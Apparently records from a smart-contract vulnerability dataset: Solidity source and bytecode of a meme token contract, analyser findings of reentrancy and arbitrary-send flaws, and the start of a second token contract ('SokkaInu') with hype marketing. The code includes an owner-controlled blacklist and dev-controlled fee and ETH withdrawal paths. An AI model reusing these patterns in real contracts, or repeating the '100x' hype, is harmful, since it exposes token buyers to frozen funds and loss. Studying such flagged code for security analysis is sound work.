constructor(address payable marketfund, address payable frementax, address payable duneskitty) {
_Marketingfund = marketfund;
_DunesKitty = duneskitty;
_FremenTax = frementax;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_FremenTax] = true;
_isExcludedFromFee[_DunesKitty] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(2));
_FremenTax.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _DunesKitty);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _DunesKitty);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DunesKitty);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _DunesKitty);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarketingWallet(address payable account) external {
require(_msgSender() == _DunesKitty);
_Marketingfund = account;
}
function setDev(address payable account) external {
require(_msgSender() == _DunesKitty);
_DunesKitty = account;
}
function setClan(address payable account) external {
require(_msgSender() == _DunesKitty);
_FremenTax = account;
}
}
|
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063cba0e9961161008a578063d543dbeb11610064578063d543dbeb146104c3578063dd62ed3e146104e3578063e01af92c14610529578063e47d60601461054957600080fd5b8063cba0e99614610454578063d00efb2f1461048d578063d477f05f146104a357600080fd5b8063b515566a116100c6578063b515566a146103ea578063c0e6b46e1461040a578063c3c8cd801461042a578063c9567bf91461043f57600080fd5b806395d89b41146101c7578063a587e2f3146103aa578063a9059cbb146103ca57600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461033857806370a082311461034d578063715018a61461036d5780638da5cb5b1461038257600080fd5b8063437823ec146102d85780635932ead1146102f85780635d098b381461031857600080fd5b806323b872dd1161019557806323b872dd1461025a578063273123b71461027a578063286671621461029c578063313ce567146102bc57600080fd5b806306fdde03146101c7578063095ea7b31461020457806318160ddd1461023457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082018252600581526444756e657360d81b602082015290516101fb9190611eb3565b60405180910390f35b34801561021057600080fd5b5061022461021f366004611d44565b610582565b60405190151581526020016101fb565b34801561024057600080fd5b50683635c9adc5dea000005b6040519081526020016101fb565b34801561026657600080fd5b50610224610275366004611d04565b610599565b34801561028657600080fd5b5061029a610295366004611c94565b610602565b005b3480156102a857600080fd5b5061029a6102b7366004611e6e565b610656565b3480156102c857600080fd5b50604051600981526020016101fb565b3480156102e457600080fd5b5061029a6102f3366004611c94565b6106e3565b34801561030457600080fd5b5061029a610313366004611e36565b610731565b34801561032457600080fd5b5061029a610333366004611c94565b610779565b34801561034457600080fd5b5061029a6107bb565b34801561035957600080fd5b5061024c610368366004611c94565b6107e8565b34801561037957600080fd5b5061029a61080a565b34801561038e57600080fd5b506000546040516001600160a01b0390911681526020016101fb565b3480156103b657600080fd5b5061029a6103c5366004611c94565b61087e565b3480156103d657600080fd5b506102246103e5366004611d44565b6108c0565b3480156103f657600080fd5b5061029a610405366004611d6f565b6108cd565b34801561041657600080fd5b5061029a610425366004611e6e565b610971565b34801561043657600080fd5b5061029a610a06565b34801561044b57600080fd5b5061029a610a3c565b34801561046057600080fd5b5061022461046f366004611c94565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561049957600080fd5b5061024c60165481565b3480156104af57600080fd5b5061029a6104be366004611c94565b610e02565b3480156104cf57600080fd5b5061029a6104de366004611e6e565b610e44565b3480156104ef57600080fd5b5061024c6104fe366004611ccc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053557600080fd5b5061029a610544366004611e36565b610f11565b34801561055557600080fd5b50610224610564366004611c94565b6001600160a01b03166000908152600e602052604090205460ff1690565b600061058f338484610f4f565b5060015b92915050565b60006105a6848484611073565b6105f884336105f385604051806060016040528060288152602001612084602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114ea565b610f4f565b5060019392505050565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611f06565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106805760405162461bcd60e51b815260040161062c90611f06565b60018110158015610692575060198111155b6106de5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015260640161062c565b600955565b6000546001600160a01b0316331461070d5760405162461bcd60e51b815260040161062c90611f06565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b815260040161062c90611f06565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6011546001600160a01b0316336001600160a01b03161461079957600080fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b0316146107db57600080fd5b476107e581611524565b50565b6001600160a01b038116600090815260026020526040812054610593906115a9565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161062c90611f06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6011546001600160a01b0316336001600160a01b03161461089e57600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b600061058f338484611073565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161062c90611f06565b60005b815181101561096d576001600e600084848151811061092957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096581612019565b9150506108fa565b5050565b6011546001600160a01b0316336001600160a01b03161461099157600080fd5b600081116109e15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161062c565b610a006127106109fa683635c9adc5dea000008461162d565b906116ac565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a2657600080fd5b6000610a31306107e8565b90506107e5816116ee565b6000546001600160a01b03163314610a665760405162461bcd60e51b815260040161062c90611f06565b601454600160a01b900460ff1615610ac05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610afd3082683635c9adc5dea00000610f4f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3657600080fd5b505afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611cb0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb657600080fd5b505afa158015610bca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bee9190611cb0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c3657600080fd5b505af1158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e9190611cb0565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610c9e816107e8565b600080610cb36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d1657600080fd5b505af1158015610d2a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d4f9190611e86565b505060148054678ac7230489e800006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dca57600080fd5b505af1158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611e52565b6011546001600160a01b0316336001600160a01b031614610e2257600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e6e5760405162461bcd60e51b815260040161062c90611f06565b60008111610ebe5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161062c565b610ed660646109fa683635c9adc5dea000008461162d565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6011546001600160a01b0316336001600160a01b031614610f3157600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fb15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b0382166110125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b0382166111395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b6000811161119b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b038481169116148015906111c757506000546001600160a01b03838116911614155b1561148d57601454600160b81b900460ff16156112ae576001600160a01b038316301480159061120057506001600160a01b0382163014155b801561121a57506013546001600160a01b03848116911614155b801561123457506013546001600160a01b03838116911614155b156112ae576013546001600160a01b0316336001600160a01b0316148061126e57506014546001600160a01b0316336001600160a01b0316145b6112ae5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161062c565b6001600160a01b03831630146112cd576015548111156112cd57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561130f57506001600160a01b0382166000908152600e602052604090205460ff16155b801561132b5750336000908152600e602052604090205460ff16155b61133457600080fd5b6014546001600160a01b03848116911614801561135f57506013546001600160a01b03838116911614155b801561138457506001600160a01b03821660009081526005602052604090205460ff16155b80156113995750601454600160b81b900460ff165b156113e7576001600160a01b0382166000908152600f602052604090205442116113c257600080fd5b6113cd42600f611fab565b6001600160a01b0383166000908152600f60205260409020555b60006113f2306107e8565b9050600d5481106114025750600d545b600c546014549082101590600160a81b900460ff1615801561142d5750601454600160b01b900460ff165b80156114365750805b801561145057506014546001600160a01b03868116911614155b801561146a57506013546001600160a01b03868116911614155b1561148a57611478826116ee565b4780156114885761148847611524565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806114cf57506001600160a01b03831660009081526005602052604090205460ff165b156114d8575060005b6114e484848484611893565b50505050565b6000818484111561150e5760405162461bcd60e51b815260040161062c9190611eb3565b50600061151b8486612002565b95945050505050565b6010546001600160a01b03166108fc61153e8360026116ac565b6040518115909202916000818181858888f19350505050158015611566573d6000803e3d6000fd5b506012546001600160a01b03166108fc6115818360026116ac565b6040518115909202916000818181858888f1935050505015801561096d573d6000803e3d6000fd5b60006006548211156116105760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b600061161a6118c1565b905061162683826116ac565b9392505050565b60008261163c57506000610593565b60006116488385611fe3565b9050826116558583611fc3565b146116265760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b600061162683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e4565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561179857600080fd5b505afa1580156117ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d09190611cb0565b816001815181106117f157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546118179130911684610f4f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611850908590600090869030904290600401611f3b565b600060405180830381600087803b15801561186a57600080fd5b505af115801561187e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806118a0576118a0611912565b6118ab848484611940565b806114e4576114e4600a54600855600b54600955565b60008060006118ce611a37565b90925090506118dd82826116ac565b9250505090565b600081836119055760405162461bcd60e51b815260040161062c9190611eb3565b50600061151b8486611fc3565b6008541580156119225750600954155b1561192957565b60088054600a5560098054600b5560009182905555565b60008060008060008061195287611a79565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119849087611ad6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119b39086611b18565b6001600160a01b0389166000908152600260205260409020556119d581611b77565b6119df8483611bc1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a2491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611a5382826116ac565b821015611a7057505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a968a600854600954611be5565b9250925092506000611aa66118c1565b90506000806000611ab98e878787611c34565b919e509c509a509598509396509194505050505091939550919395565b600061162683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ea565b600080611b258385611fab565b9050838110156116265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b6000611b816118c1565b90506000611b8f838361162d565b30600090815260026020526040902054909150611bac9082611b18565b30600090815260026020526040902055505050565b600654611bce9083611ad6565b600655600754611bde9082611b18565b6007555050565b6000808080611bf960646109fa898961162d565b90506000611c0c60646109fa8a8961162d565b90506000611c2482611c1e8b86611ad6565b90611ad6565b9992985090965090945050505050565b6000808080611c43888661162d565b90506000611c51888761162d565b90506000611c5f888861162d565b90506000611c7182611c1e8686611ad6565b939b939a50919850919650505050505050565b8035611c8f81612060565b919050565b600060208284031215611ca5578081fd5b813561162681612060565b600060208284031215611cc1578081fd5b815161162681612060565b60008060408385031215611cde578081fd5b8235611ce981612060565b91506020830135611cf981612060565b809150509250929050565b600080600060608486031215611d18578081fd5b8335611d2381612060565b92506020840135611d3381612060565b929592945050506040919091013590565b60008060408385031215611d56578182fd5b8235611d6181612060565b946020939093013593505050565b60006020808385031215611d81578182fd5b823567ffffffffffffffff80821115611d98578384fd5b818501915085601f830112611dab578384fd5b813581811115611dbd57611dbd61204a565b8060051b604051601f19603f83011681018181108582111715611de257611de261204a565b604052828152858101935084860182860187018a1015611e00578788fd5b8795505b83861015611e2957611e1581611c84565b855260019590950194938601938601611e04565b5098975050505050505050565b600060208284031215611e47578081fd5b813561162681612075565b600060208284031215611e63578081fd5b815161162681612075565b600060208284031215611e7f578081fd5b5035919050565b600080600060608486031215611e9a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611edf57858101830151858201604001528201611ec3565b81811115611ef05783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f8a5784516001600160a01b031683529383019391830191600101611f65565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fbe57611fbe612034565b500190565b600082611fde57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ffd57611ffd612034565b500290565b60008282101561201457612014612034565b500390565b600060001982141561202d5761202d612034565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fd5b80151581146107e557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d215761502418518fdb53bdaca892bb76fce8c67e67fd5d0fc7a1474353cc2f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,164 |
0x527f955920d23965cd28e315419eee51c701f248
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
https://t.me/SokkaInu
⚡️⚡️ Sokka Inu ⚡️⚡️
$SOKI is the next big project based on the character
Sokka in the cartoon Aang Avatar.
We've also seen the success of projects like $KINU ,....
Then you won't be able to ignore Sokka,
a main character in the Aang Avatar cartoon 🪐
Tax: 6% / 9% Buy/Sell
MaxBuy :1.5%
MaxWallet:3%
Twitter:https://twitter.com/SokkaInu
Website:https://www.sokkainu.com
Telegram:https://t.me/SokkaInu
Next 100x project $SOKI
Will be Locked and renounced
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SokkaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "$SOKI";
string private constant _symbol = "$SOKI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x701251966cC5eD1Af3c72ad14D2B6960b4645aa3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
